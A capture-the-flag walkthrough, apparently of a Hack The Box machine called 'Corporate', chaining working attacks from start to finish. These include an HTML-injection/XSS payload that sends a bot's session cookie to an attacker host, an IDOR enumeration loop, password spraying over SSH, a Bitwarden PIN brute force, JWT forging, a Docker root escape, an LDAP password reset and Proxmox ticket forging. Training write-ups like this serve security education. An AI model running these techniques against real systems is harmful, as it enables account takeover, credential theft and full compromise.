Machine Card

Reconnaissance

PORT   STATE SERVICE VERSION
80/tcp open  http    OpenResty web app server 1.21.4.3
|_http-server-header: openresty/1.21.4.3
|_http-title: Did not follow redirect to http://corporate.htb

The nmap scan returns just one single open port 80 and already reports a redirect to corporate.htb. I’ll add this domain to my /etc/hosts file before having a look at the webpage.

HTTP

Navigating to http://corporate.htb shows a page for a leading provider of comprehensive IT solutions. All the way on the bottom of the page they offer a way to get in touch by Start chatting now!. Adding my name and clicking the button redirects me to http://support.corporate.htb/new.

A input field for a name and a button to click with 'Start chatting now!'

I also add this domain to my hosts file and start a subdomain enumeration to try and find additional subdomains.

ffuf -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-110000.txt \
     -u http://corporate.htb \
     -H 'Host: FUZZ.corporate.htb' \
     -fs 175  # Filter any response with size 175 since it's the default response size here
     
        /'___\  /'___\           /'___\
       /\ \__/ /\ \__/  __  __  /\ \__/
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
         \ \_\   \ \_\  \ \____/  \ \_\
          \/_/    \/_/   \/___/    \/_/
 
       v2.1.0-dev
________________________________________________
 
 :: Method           : GET
 :: URL              : http://corporate.htb
 :: Wordlist         : FUZZ: /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-110000.txt
 :: Header           : Host: FUZZ.corporate.htb
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response size: 175
________________________________________________
 
support                 [Status: 200, Size: 1725, Words: 383, Lines: 39, Duration: 37ms]
git                     [Status: 403, Size: 159, Words: 3, Lines: 8, Duration: 40ms]
sso                     [Status: 302, Size: 38, Words: 4, Lines: 1, Duration: 36ms]
people                  [Status: 302, Size: 32, Words: 4, Lines: 1, Duration: 42ms]

The scan returns 3 domains and I’ll add those to my hosts file before checking out the support subdomain again. I see a chat window and some bot is typing on the other end. After receiving three messages in total the ticket is automatically closed and even though I can post messages I’m being ignored by the bot ;)

Support Chat

Injecting HTML into the chat, like <i>hello</i>, renders the text in cursive but any attempt to use Javascript is prevented by the Content-Security-Policy (CSP). The use of inline scripts and loading from any other host is not being allowed, so Cross-Site-Scripting is not an option here.

Content-Security-Policy
base-uri 'self'; 
default-src 'self' http://corporate.htb http://*.corporate.htb; 
style-src 'self' 'unsafe-inline' https://fonts.googleapis.com https://maps.googleapis.com https://maps.gstatic.com; 
font-src 'self' https://fonts.googleapis.com/ https://fonts.gstatic.com data:; 
img-src 'self' data: maps.gstatic.com; 
frame-src https://www.google.com/maps/; 
object-src 'none'; 
script-src 'self'

Enumerating the other subdomains returns 403 for git and a sign-in page for people, that directs me to sso where I can find another login prompt asking for credentials.

Initial Access

Reflected HTML and XSS

Inspecting the network traffic on http://corporate.htb reveals several requests to javascript files taking some kind of version as a parameter. At least one of those scripts, /assets/js/analytics.min.js, also reflects that value into the response.

Screenshot of a curl command requesting analytics.min.js with the parameter v=ryuki and the word ryuki highlighted in the output

This alone does not grant me (javascript) code execution, but I can combine it with another vulnerability on the webpage. When I browse to a non existent path, like /ryuki, a custom error page is shown. The interesting part is that the value from the path is also included in the message. Using valid HTML there will also be rendered in the output.

Screenshot of a webpage with HTML code in the URL and the rendered output on the page highlighted

Combining those two features, I can craft a link that leads to code execution when opened. The analytics.min.js in /assets/js/ requires the script with the same name from /vendor/, so I do need to load both in the correct order.
The link http://corporate.htb/%3Cscript%20src=%22/vendor/analytics.min.js%22%3E%3C/script%3E%3Cscript%20src=%22/assets/js/analytics.min.js?v=alert(1)%22%3E%3C/script%3E produces a pop-up with 1 and confirms the vulnerability.

As explained earlier, the chat application does not execute the provided javascript thanks to the CSP, so in order to redirect the bot to my payload I can use the tag with the http-equiv attribute set to refresh and provide my payload in the content attribute1.

<meta http-equiv="refresh" content="0; url=http://corporate.htb/%3Cscript+src='/vendor/analytics.min.js'%3E%3C/script%3E%3Cscript+src='/assets/js/analytics.min.js?v=document.location=`http://10.10.10.10/${document.cookie}`'%27%3C/script%3E"/>

Pasting the full payload into the chat redirects the bot (and myself) to the HTTP listener I’ve set up on my host and I catch the cookie for the CorporateSSO.

python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.129.229.168 - - [10/Jul/2024 17:25:06] code 404, message File not found
10.129.229.168 - - [10/Jul/2024 17:25:06] "GET /CorporateSSO=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6NTA3MSwibmFtZSI6Ikp1bGlvIiwic3VybmFtZSI6IkRhbmllbCIsImVtYWlsIjoiSnVsaW8uRGFuaWVsQGNvcnBvcmF0ZS5odGIiLCJyb2xlcyI6WyJzYWxlcyJdLCJyZXF1aXJlQ3VycmVudFBhc3N3b3JkIjp0cnVlLCJpYXQiOjE3MjA2MjUxMDEsImV4cCI6MTcyMDcxMTUwMX0.P6_-hDLvHzp63EQUBsJ-jqGEQA94PzUhNhYC2b035_I HTTP/1.1" 404 -

Hint

Another approach to make the bot browse to the crafted link is to inject a form that imitates the one used to send messages in the chat. Upon sending a new message the button of the fake form will come before the real one and the form action will be executed.

Execution

The captured cookie needs to be set in the browser. This can be achieved by opening the Web Developer Tools (CTRL + SHIFT + i), selecting the Storage pane Cookies and adding a new cookie with the + sign.
Setting CorporateSSO as name, the stolen cookie as value and .corporate.htb as domain grants me access via the SSO to people.corporate.htb as one of the users from the support chat.

Screenshot of a dashboard with Chat, News, Sharing, Calendar, Holidays and Payroll as options

On the Chat pane employees are sending messages. Clicking on their name directs me to their profile page, exposing personal information like email, role and date of birth. It also allows me to enumerate further employees by modifying the ID in the URL.

Another interesting page seems to be Sharing where I see files belonging to my account and I can share files with other employees. Currently I only have access to a ovpn file and a few Word documents.
When I upload a new file and share it, I can observe the following request in BurpSuite. It looks like I just need to provide a fileId and an email.

POST /sharing HTTP/1.1
Host: people.corporate.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 46
Origin: http://people.corporate.htb
Connection: keep-alive
Referer: http://people.corporate.htb/sharing
Cookie: session=eyJmbGFzaGVzIjp7ImluZm8iOltdLCJlcnJvciI6W10sInN1Y2Nlc3MiOltdfX0=; session.sig=7uZ7MbJ9bPx7FDqBFPDOTm8DQJ8; CorporateSSO=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6NTA3MSwibmFtZSI6Ikp1bGlvIiwic3VybmFtZSI6IkRhbmllbCIsImVtYWlsIjoiSnVsaW8uRGFuaWVsQGNvcnBvcmF0ZS5odGIiLCJyb2xlcyI6WyJzYWxlcyJdLCJyZXF1aXJlQ3VycmVudFBhc3N3b3JkIjp0cnVlLCJpYXQiOjE3MjA2MjUxMDEsImV4cCI6MTcyMDcxMTUwMX0.P6_-hDLvHzp63EQUBsJ-jqGEQA94PzUhNhYC2b035_I
Upgrade-Insecure-Requests: 1

fileId=245&email=halle.keeling%40corporate.htb

Next I check if I am able to share files, that do not belong to me, with my account so I’ll repeat the same request with fileIds from 1 to 244 and email julio.daniel@corporate.htb.

for fileid in {1..244};
do
    curl -H 'Cookie: session=eyJmbGFzaGVzIjp7ImluZm8iOltdLCJlcnJvciI6W10sInN1Y2Nlc3MiOltdfX0=; session.sig=7uZ7MbJ9bPx7FDqBFPDOTm8DQJ8; CorporateSSO=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6NTA3MSwibmFtZSI6Ikp1bGlvIiwic3VybmFtZSI6IkRhbmllbCIsImVtYWlsIjoiSnVsaW8uRGFuaWVsQGNvcnBvcmF0ZS5odGIiLCJyb2xlcyI6WyJzYWxlcyJdLCJyZXF1aXJlQ3VycmVudFBhc3N3b3JkIjp0cnVlLCJpYXQiOjE3MjA2MjUxMDEsImV4cCI6MTcyMDcxMTUwMX0.P6_-hDLvHzp63EQUBsJ-jqGEQA94PzUhNhYC2b035_I' \
         -d "fileId=${fileid}&email=julio.daniel@corporate.htb" \
         -X POST \
         'http://people.corporate.htb/sharing'
done

After running the code, no new files were added to my account. Trying to share my own file with myself shows an error message so maybe there is a check in place that prevents that. Returning to the support chat and waiting for another employee, I steal a second cookie. Modifying the above request and replacing the cookie value has the desired result.

Screenshots of lots of different documents shared

One file that stands out is the Welcome to Corporate 2023 Draft.pdf with onboarding instructions for new employees, specifying a default password of CorporateStarterDDMMYYYY and the information that the VPN pack allows for remote access to the network.

Onboarding instructions for new users

With the help of a simple python script I scrape all of the profiles and produce a list of usernames and passwords that I can use for further enumeration.

scrape.py
#!/usr/bin/env python3
import re
import requests
import sys
 
 
MAIL_REGEX = re.compile(r'mailto:([^"]+)')
DOB_REGEX = re.compile(r'<td>(\d+/\d+/\d+)')
URL = 'http://people.corporate.htb/employee/{}'
COOKIE = ''
 
for i in range(5000, 5100):
    resp = requests.get(URL.format(i), headers={'Cookie': COOKIE})
 
    if resp.status_code != 200 or "Sorry, we couldn't find that employee!" in resp.text:
        continue
 
    mail = re.findall(MAIL_REGEX, resp.text)[0]
    month, day, year = re.findall(DOB_REGEX, resp.text)[0].split('/')
 
    print(f'{mail},CorporateStarter{int(day):02d}{int(month):02d}{year}')
 

Downloading the ovpn file and connecting via openvpn I get access to the 10.8.0.0/24 and the 10.9.0.0/24 subnets with 10.8.0.1 being the gateway to the latter subnet.
A quick ping sweep with nmap returns 2 targets since I do assume that there’s a jump host with 2 network interface serving as jump host / vpn endpoint.

nmap -PE 10.8.0.0/24
Nmap scan report for 10.8.0.1
Host is up (0.014s latency).
Not shown: 994 closed tcp ports (conn-refused)
PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
389/tcp  open  ldap
636/tcp  open  ldapssl
2049/tcp open  nfs
3128/tcp open  squid-http
 
nmap -PE 10.9.0.0/24
Nmap scan report for 10.9.0.1
Host is up (0.15s latency).
Not shown: 994 closed tcp ports (conn-refused)
PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
389/tcp  open  ldap
636/tcp  open  ldapssl
2049/tcp open  nfs
3128/tcp open  squid-http
 
Nmap scan report for 10.9.0.4
Host is up (0.18s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT    STATE SERVICE
22/tcp  open  ssh
111/tcp open  rpcbind
flowchart LR

subgraph Attacker
    A("Attack Host\n10.8.0.2")
end

subgraph "Corporate Network"
    A -->|OpenVPN|B("Jump Host\n10.8.0.1\n10.9.0.1")
    B -->C("Workstation\n10.9.0.4")
end

Using the previously generated list of credentials I try to access the host on 10.9.0.4 and log the succesfull connections. Apparently 4 users did not change their initial password and I can take over their accounts.

cat users.txt | while IFS=, read user password; 
do 
    sshpass -p "$password" ssh -n -o StrictHostKeyChecking=no "$user"@10.9.0.4 "echo Successful SSH login with $user" 2>/dev/null ;
done
Successful SSH login with elwin.jones@corporate.htb    # CorporateStarter04041987
Successful SSH login with laurie.casper@corporate.htb  # CorporateStarter18111959
Successful SSH login with nya.little@corporate.htb     # CorporateStarter21061965
Successful SSH login with brody.wiza@corporate.htb     # CorporateStarter14071992

All of the accounts grant access to the first flag and further enum shows that the account elwin.jones belongs to the it group while the others are part of the consultant group. This makes elwin.jones look more promising for me.

Privilege Escalation

With the access to the internal network, I’ll try to check out git.corporate.htb again, but this time mapping the domain to 10.8.0.1 and therefore going through the VPN tunnel. The credentials for elwin.jones do work there too, but to proceed the application asks me to provide a second factor.

Second Factor Prompt on Gitea

Bitwarden Extension

In the home directory of elwin.jones I find a firefox profile folder in ~/.mozilla/firefox/tr2cgmb6.default-release with traces of Bitwarden, an app to store passwords and second factors. I decide to transfer the files to my machine with scp.

sshpass -p 'CorporateStarter04041987' scp -r elwin.jones@corporate.htb@10.9.0.4:.mozilla/firefox/tr2cgmb6.default-release .

My assumption is that elwin.jones uses Bitwarden to store his second factor and the history within Firefox (places.sqlite)2 seems to provide some context information: The usage of a browser extension and that the PIN is probably 4 digits long.

$ sqlite3 tr2cgmb6.default-release/places.sqlite 'SELECT title FROM moz_places WHERE title != "";'
Firefox Privacy Notice — Mozilla
bitwarden firefox extension - Google Search
Password Manager Browser Extensions | Bitwarden Help Center
Bitwarden - Free Password Manager – Get this Extension for 🦊 Firefox (en-GB)
Browser Extension Getting Started | Bitwarden
is 4 digits enough for a bitwarden pin? - Google Search

I’ll load elwin.jones profile into my Firefox by going to about:profiles Create new profile and use Choose folder… to point it towards the profile folder I’ve transferred via scp. Then I can spawn a new window with the profile, check the history and recent visits and eventually install the Bitwarden extension. As expected it requires a PIN to unlock.

Bitwarden Browser Extension asking for a PIN

Considering the PIN needs to be stored locally, I check the extension storage by going to about:debugging#/runtime/this-firefox and Inspect the Bitwarden extension. This opens another window thats akin to a Web Developer Tool view where I can check the stored values under Storage Extension Storage.

Screenshot showing the debugging view on Firefox

Screenshot showing the extension storage as viewed within Firefox

In there are three keys of interest:

  • user_08b3751b-aad5-4616-b1f7-015d3be749db_pinUnlock_oldPinKeyEncryptedMasterKey: Holding an encrypted version of the PIN
  • user_08b3751b-aad5-4616-b1f7-015d3be749db_kdfConfig_kdfConfig: Stores the hash function that was used (pbkdf2 with 600000 iterations)
  • global_account_accounts: Stores the email address of the user (here it’s the same I already know)

A precompiled version of Bitwarden PIN Bruteforce lets me bruteforce the PIN. After a few seconds the correct PIN 0239 is found and I can unlock the vault in the browser extension.

$ ./bitwarden-pin -e "2.DXGdSaN8tLq5tSYX1J0ZDg==|4uXLmRNp/dJgE41MYVxq+nvdauinu0YK2eKoMvAEmvJ8AJ9DbexewrghXwlBv9pR|UcBziSYuCiJpp5MORBgHvR2mVgx3ilpQhNtzNJAzf4M=" \
                  -m elwin.jones@corporate.htb \
                  pbkdf2
[INFO] KDF Configuration: Pbkdf2 {
    iterations: 600000,
}
[INFO] Brute forcing PIN from '0000' to '9999'...
[SUCCESS] Pin found: 0239

Hint

Without loading the contents of the profile into Firefox, the information can also be extracted from the filesystem. There is a sqlite file in tr2cgmb6.default-release/storage/default/moz-extension+++c8dd0025-9c20-49fb-a398-307c74e6f8b7^userContextId=4294967295/idb that stores the information and can be parsed with moz-idb-edit.

Gitea

Back at the login prompt on git.corporate.htb, I can login with the credentials stored in Bitwarden (the username and password is obviously the same as before).

Screenshot showing the Bitwarden Extension during login

This grants me access to 3 repositories within the CorporateIT organization, support, ourpeople and corporate-sso that correspond to the web applications I already saw.

Screenshot showing three git repositories

Going through the repositories to look for interesting things I spot that password reset / change feature in SSO is connected to LDAP but no credentials are specified. Furthermore the key to sign the JWTs in use is stored within an environment variable.
A common issue with version control are credentials that were accidentally commited and stored within the history. There are tools like trufflehog that can search for juicy info but since there aree just a few commits, I decide look through them by myself.

I’m lucky and find a JWT_SECRET 09cb527651c4bd385483815627e6241bdf40042a in the repository ourpeople that was added in commit ae1a0cf3475 and removed again in the next commit 54bc5ff1f9.

Screenshot showing the git commit where the JWT was removed

I’ll take my CorporateSSO cookie and use CyberChef to verify whether the secret is still in use and let’s me forge cookies as a next step. There are no errors, so the secret must be valid.

Screenshot showing CyberChef verifying a JWT

JWT Forging

Since I am now able to forge cookies and sign them with the secret found in git, I can take over accounts by using their cookie and changing the password. The cookie itself contains a flag that decided whether I need to provide the previous password or can set a new one right away.

JWT contents
{
    "id": 5071,
    "name": "Julio",
    "surname": "Daniel",
    "email": "Julio.Daniel@corporate.htb",
    "roles": [
        "sales"
    ],
    "requireCurrentPassword": true,
    "iat": 1720728685,
    "exp": 1720815085
}

From the profiles on people.corporate.htb I know that there are a few different roles:

  • Consultant
  • Engineer
  • Finance
  • HR
  • IT
  • Sales
  • Sysadmin

Even though sysadmin sounds like the one with highest privileges, I may not be able to reset their password if the latest commit in the repository is already applied since it does prevent the reset of passwords from highly privileged users.
The next best option seems to be the engineer role, so I’ll pick one of those users.

Forged JWT
{
    "id": 5001,
    "name": "Ward",
    "surname": "Pfannerstill",
    "email": "ward.pfannerstill@corporate.htb",
    "roles": [
        "engineer"
    ],
    "requireCurrentPassword": false,
    "iat": 1720728685,
    "exp": 1720815085
}

Setting the cookie for the SSO makes me logged in as Ward Pfannerstill. Resetting the password works without supplying the previous one and I can login as ward.pfannerstill on the workstation (10.9.0.4).

Docker and Docker Escape

Looking around on the host with the new privileges I’ll quickly notice that /run/docker.sock is owned by the engineer group, so that means I can use docker without sudo. Even though docker is installed and runs on the host, no containers are up and no images are available. This is not really an obstacle since I can just download an image on my host, save it locally before transferring it to the remote host and loading it back into docker again.

# Pull image on localhost
docker pull alpine:latest
 
# Save image to disk
docker save alpine:latest > alpine.tar.gz
 
# Transfer to remote host
scp alpine.tar.gz ward.pfannerstill@corporate.htb@10.9.0.4:
 
# Load image into docker on remote host
docker load -i ~/alpine.tar.gz
94e5f06ff8e3: Loading layer [==================================================>]  8.083MB/8.083MB
Loaded image: alpine:latest

With the docker image loaded, I can spawn a new container with the host system mounted and escalate to root this way3.

ward.pfannerstill@corporate-workstation-04:~$ docker run -v /:/mnt --rm -it alpine chroot /mnt sh
# whoami
root
# ls -la /root
total 32
drwx------  5 root root 4096 Nov 28  2023 .
drwxr-xr-x 19 root root 4096 Nov 27  2023 ..
lrwxrwxrwx  1 root root    9 Nov 28  2023 .bash_history -> /dev/null
-rw-r--r--  1 root root 3106 Oct 15  2021 .bashrc
-rw-------  1 root root   20 Nov  7  2023 .lesshst
drwxr-xr-x  3 root root 4096 Apr 12  2023 .local
-rw-r--r--  1 root root  161 Jul  9  2019 .profile
drwx------  2 root root 4096 Apr 12  2023 .ssh
-rw-r--r--  1 root root    0 Apr 12  2023 .sudo_as_admin_successful
drwx------  3 root root 4096 Apr 12  2023 snap

LDAP Abuse

I’ve logged into the workstation with the credentials from LDAP, so there must be some kind of configuration and possibly a bind user. One of the ways to configure LDAP is via sssd and its config is stored in /etc/sssd/sssd.conf. There I do find credentials for the autobind user: ALo5u1njam14j1r8451amt5T.

/etc/sssd/sssd.conf
--- SNIP ---
[sssd]
config_file_version = 2
domains = corporate.htb
 
[domain/corporate.htb]
id_provider = ldap
auth_provider = ldap
ldap_uri = ldap://ldap.corporate.htb
cache_credentials = True
ldap_search_base = dc=corporate,dc=htb
ldap_auth_disable_tls_never_use_in_production = True
ldap_default_authtok = ALo5u1njam14j1r8451amt5T
ldap_default_bind_dn = cn=autobind,dc=corporate,dc=htb

Hint

There are also cached credentials from previous logins in /var/lib/sss/db. Those might be usable if access to the sssd config is not possible. The files there store hashes, so they need to be cracked first.

My goal is to become a user in the sysadmin group so I try to change the password for amie.torphy with ldapmodify. The tool takes a ldif file as input that I have to create first4.
The /etc/hosts already contains an entry for ldap.corporate.htb that points to 10.9.0.1.

modify.ldif
dn: uid=amie.torphy,ou=Users,dc=corporate,dc=htb
changetype: modify
replace: userPassword
userPassword: BestPassword123$
ldapmodify -c -a -f tmp/modify.ldif -H ldap://ldap.corporate.htb -D "cn=autobind,dc=corporate,dc=htb" -w ALo5u1njam14j1r8451amt5T
modifying entry "uid=amie.torphy,ou=Users,dc=corporate,dc=htb"

After changing the password I can login to the workstation with amie.torphy:BestPassword123$. The home directory is prepopulated with an .ssh directory containing a SSH key and a config. Using ssh mainserver grants me a new shell as sysadmin on corporate.htb.

/home/guest/amie.torphy/.ssh/config
Host mainserver
    HostName corporate.htb
    User sysadmin

The mainserver has several more internal ports open, so I’ll set up a SOCKS proxy to interact with them. First I create a SSH tunnel to the workstation and forward my local port 2222 to 10.9.0.1:22 that lets me access the mainserver from my local host. Then I use the SSH key to initiate a new connection to the mainserver through the tunnel while creating a SOCKS proxy.

# On the local machine
ssh -L 2222:10.9.0.1:22 amie.torphy@10.9.0.4
 
# On the local machine
ssh -D 1080 -i sysadmin.key -p 2222 sysadmin@127.0.0.1 

Using FoxyProxy I set up the SOCKS proxy within Firefox and browse to http://127.0.0.1:8006. There I am greeted with a login screen to Proxmox VE. None of the passwords I currently possess do work here.
Potentially I could reset all passwords and try them, but I’ll make a mental note regarding that and move on.

Screenshot of the Proxmox Login prompt

While enumerating the host further I find backups in /var/backups and one of those seems to be a backup from the Proxmox application itself. I transfer that to my machine.

scp -P2222 -i sysadmin-private.key sysadmin@127.0.0.1:/var/backups/proxmox_backup_corporate_2023-04-15.15.36.28.tar.gz .
 
tar xvf proxmox_backup_corporate_2023-04-15.15.36.28.tar.gz
tar: Removing leading / from member names
/var/tmp/proxmox-OGXn58aE/proxmoxcron.2023-04-15.15.36.28.tar
/var/tmp/proxmox-OGXn58aE/proxmoxetc.2023-04-15.15.36.28.tar
/var/tmp/proxmox-OGXn58aE/proxmoxpve.2023-04-15.15.36.28.tar 
/var/tmp/proxmox-OGXn58aE/proxmoxpackages.2023-04-15.15.36.28.list
/var/tmp/proxmox-OGXn58aE/proxmoxreport.2023-04-15.15.36.28.txt
 
tar xvf ./var/tmp/proxmox-OGXn58aE/proxmoxpve.2023-04-15.15.36.28.tar
tar: Removing leading / from member names
/var/lib/pve-cluster/./
/var/lib/pve-cluster/./config.db-shm
/var/lib/pve-cluster/./config.db-wal
/var/lib/pve-cluster/./config.db
/var/lib/pve-cluster/./.pmxcfs.lockfile

The compressed backup contains multiple additional archives and extracting them one by one leads to the discovery of ./var/lib/pve-cluster/config.db. This is a sqlite3 database holding the configuration for Proxmox VE5 and can be used to perform a recovery.
Examining the contents of the database there seems to be just one table tree which holds several values, among others a few private and public keys.

sqlite3 ./var/lib/pve-cluster/config.db
 
sqlite> .tables
tree
 
sqlite> .schema tree
CREATE TABLE tree (  inode INTEGER PRIMARY KEY NOT NULL,  parent INTEGER NOT NULL CHECK(typeof(parent)=='integer'),  version INTEGER NOT NULL CHECK(typeof(version)=='integer'),  writer INTEGER NOT NULL CHECK(typeof(writer)=='integer'),  mtime INTEGER NOT NULL CHECK(typeof(mtime)=='integer'),  type INTEGER NOT NULL CHECK(typeof(type)=='integer'),  name TEXT NOT NULL,  data BLOB);
 
sqlite> SELECT name, data FROM tree;
--- SNIP ---
authkey.key|-----BEGIN RSA PRIVATE KEY-----
MIIEowIBAAKCAQEA4qucBTokukm1jZuslN5hZKn/OEZ0Qm1hk+2OYe6WtjXpSQtG
EY8mQZiWNp02UrVLOBhCOdW/PDM0O2aGZmlRbdN0QVC6dxGgE4lQD9qNKhFqHgdR
Q0kExxMa8AiFNJQOd3XbLwE5cEcDHU3TC7er8Ea6VkswjGpxn9LhxuKnjAm81M4C
frIcePe9zp7auYIVVOu0kNplXQV9T1l+h0nY/Ruch/g7j9sORzCcJpKviJbHGE7v
OXxqKcxEOWntJmHZ8tVb4HC4r3xzhA06IRj3q/VrEj3H6+wa6iEfYJgp5flHtVA8
8TlXitfsBH+ZT41CH3/a6JudMYSLGKvatGgjJQIDAQABAoIBAQCBBoBcNVmctMJk
ph2Z6+/ydhXyOaCKA2tM4idvNXmSpKNzUbiD3EFBi5LN6bV3ZP05JA3mj/Y4VUlB
Gr4cY4zXgEsntsU9a8n79Oie7Z/3N0x5ZV7rdxACJazqv17bq/+EHpEyc3b3o2Rx
dNBSVi3IKup8nnY3J4wgFtEv/eqzefDc4ODcDIz/j46eh/TZLll7zhesJ6Icfml3
aZ3GjWdQWOwlj1rDCP7S/ehryNbB7p2T/FVHw6tbMf7XYtjlWzQbns+m9sQmrD3Q
Lmw9zk7NyCuZi0/l8XiaJINv4VWFUuU4/KrifW7az81AAVcNLSKkg2AQ9Q3VSdyH
z1p5Hz8tAoGBAP5wTIwhG781oHR3vu15OnoII9DFm80CtmeqA5mL2LzHB5Po2Osn
wkspMpKioukFWcnwZO9330h/FSyv6zYJP/5QfwTkskEsYli6emdwJgb0C+HJYVVx
/CWeDNvLhyNam0HcqzXMFzQhLfGaKoq4FZ95ozNOCv1K83G379o7VsRPAoGBAOQP
sFdEEgDB/t0lnOEFfRSTwtJ2/IlLwBLMlm09aIwB7DqI9dl8fIcq8YR03XhGzIg0
H28xf3b5Ql619VJ9YESRSq+F4VjuMzJpXJuHshR9wQZy8RDEtr43OwTBOG7sUNKi
I0MBFxEmfaPeZCIZCLouam1JBNAA3YwFxlPm8WBLAoGAXOmtSk6cz0pJ+b3wns9y
JzXpvkcrCcY/zcMr5VpIH0ee4MhaziSKst+sdBen3efyTefXNAtWIicmGFd1URo3
oCrM94B8B4ipsTUHldZCTK+51w2u2YDyTtpUX78G7kYcBAUNEGwi3QpwuJVPi7CF
VOMaUZXiNXS1SYWdtNeOa8kCgYA60g0SRN070s0wLo5Kv0amcwHRlJzHsIDmmFvH
6wm26pwJ8N8v69qWZi4KkrW4WtJP4tmkrSiJ//ntQZL3ZpzYsnyHzsjzTeRogSJA
fvwgKtsJFcY1I/daEhanwEoU2eByoxzjIDnZ04qeJDLBVKGam3QZobabC04Y2jhv
1WW2BwKBgCD/j2QWr62kh48MY5hCG94YrZRiH1+WdJul+HpTXGax0kB8bXXehh7N
n4+xaiJCTUElVEm2KH/7C8yKoytm8HR7eRrq7SJSbWEmvI/1Yhj1A9g2/vrCxOlm
GtYXpgsbUgcGgg3Hr9/piitsBlSME6niawdxaMT9eLyLNUAnHRec
-----END RSA PRIVATE KEY-----
 
lrm_status|{"state":"wait_for_agent_lock","timestamp":1681569386,"mode":"active","results":{}}

A bit of online research returns a blogpost from starlabs describing a privilege escalation via an unsecured backup file, that uses the authkey.key to sign a cookie granting access to the web UI.
The post contains a proof-of-concept where I can reuse the cookie generation function.

forge-cookie.py
import argparse
import requests
import logging
import json
import socket
import ssl
import urllib.parse
import re
import time
import subprocess
import base64
import tarfile
import io
import tempfile
import urllib3
 
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
 
PROXIES = {}  # {'https': '192.168.86.52:8080'}
logging.basicConfig(format='%(asctime)s - %(message)s', level=logging.CRITICAL)
 
# https://starlabs.sg/blog/2022/12-multiple-vulnerabilites-in-proxmox-ve--proxmox-mail-gateway 
def generate_ticket(authkey_bytes, username='root@pam', time_offset=-30):
    timestamp = hex(int(time.time()) + time_offset)[2:].upper()
    plaintext = f'PVE:{username}:{timestamp}'
 
    authkey_path = tempfile.NamedTemporaryFile(delete=False)
    logging.info(f'writing authkey to {authkey_path.name}')
    authkey_path.write(authkey_bytes)
    authkey_path.close()
 
    txt_path = tempfile.NamedTemporaryFile(delete=False)
    logging.info(f'writing plaintext to {txt_path.name}')
    txt_path.write(plaintext.encode('utf-8'))
    txt_path.close()
 
    logging.info(f'calling openssl to sign')
    sig = subprocess.check_output(
        ['openssl', 'dgst', '-sha1', '-sign', authkey_path.name, '-out', '-', txt_path.name])
    sig = base64.b64encode(sig).decode('latin-1')
 
    ret = f'{plaintext}::{sig}'
    logging.info(f'generated ticket for {username}: {ret}')
 
    return ret
 
if __name__ == '__main__':
    with open('authkey.key', 'rb') as k:
        new_ticket= generate_ticket(k.read())
        print(f'Cookie: PVEAuthCookie={urllib.parse.quote_plus(new_ticket)}')
 
sqlite3 ./var/lib/pve-cluster/config.db "SELECT data FROM tree WHERE name = 'authkey.key';" > authkey.key
 
python3 forge-cookie.py
Cookie: PVEAuthCookie=PVE%3Aroot%40pam%3A6690F349%3A%3Ac%2BX56YCJftnHJ4FiOw1rH1DljwXh7wlyTWAdHNvxvqxDAaqqR%2BbkSzxQQYNPSxmh%2Bqnpq8kIo5loKJgYy6kMfLpqcvWmvwg2NHyiNs2aaJa3eW%2B2gLik%2Fw3L0w2ye8D%2BEOEsM48wDoYrAMLmEjF8rRWJ9luXzKfNTx%2Fer3XWNKCWEPS1rCgnAN9rmr3Cz9C3RmbBgB7olJJ%2BE9e76sz0VHNvi5xrWfrw%2BeIAtSDx1fR5alsd1AujHRTxARjDoqsulZ2qFRIqI1yPzTkOdBNvJkLmFZ7CWh%2BFN0%2F5PQ9k8nqEk2Ik3I5BfWrDktksJcme7%2FjGqmsrdRJTRlnEsEK3fg%3D%3D

Adding the cookie to my browser, refreshing the page and I am logged in as root on Proxmox.

Screenshot showing Proxmox after setting the cookie and being authenticated as root

Proxmox allows me to run an interactive shell where I can execute commands in the context of the root user.

Screenshot showing the execution of commands via the Proxmox shell

Attack Path

flowchart TD

subgraph "Initial Access"
    A(Support Chat) -->|HTML Injection + Reflected XSS| B(Cookie for SSO)
    B -->|Access to internal applications| C(Profiles & Documents)
    C -->|Share documents via IDOR| D(Information Disclosure of initial passwords)
    C & D -->E(List with potential valid credentials)
end

subgraph "Execution"
    E -->|Credential Stuffing over VPN| F(Access to Workstation as IT member)
end

subgraph "Privilege Escalation"
    F -->|Bruteforce Bitwarden PIN| G(Access to internal Gitea)
    G -->|JWT Secret in commit history| H(Forge abitrary cookies)
    H -->|Reset password in LDAP via SSO portal| I(Access as Engineer)
    I -->|Full access to docker| J(Root on Workstation)
    J -->|Valid Credentials for LDAP in sssd\nPassword Reset| K(Access as Sysadmin)
    K -->|SSH Key| L(Access to mainserver as sysadmin)
    L -->|Accessible Backups| M(Secrets for Proxmox)
    M -->|Craft valid cookie| N(Access as root in Proxmox)
    N -->|Shell access| O(Access as root on mainserver)
end

Footnotes

  1. The metadata element

  2. places.sqlite

  3. docker on GTFObins

  4. Modify passwords with ldapmodify

  5. Proxmox Documentation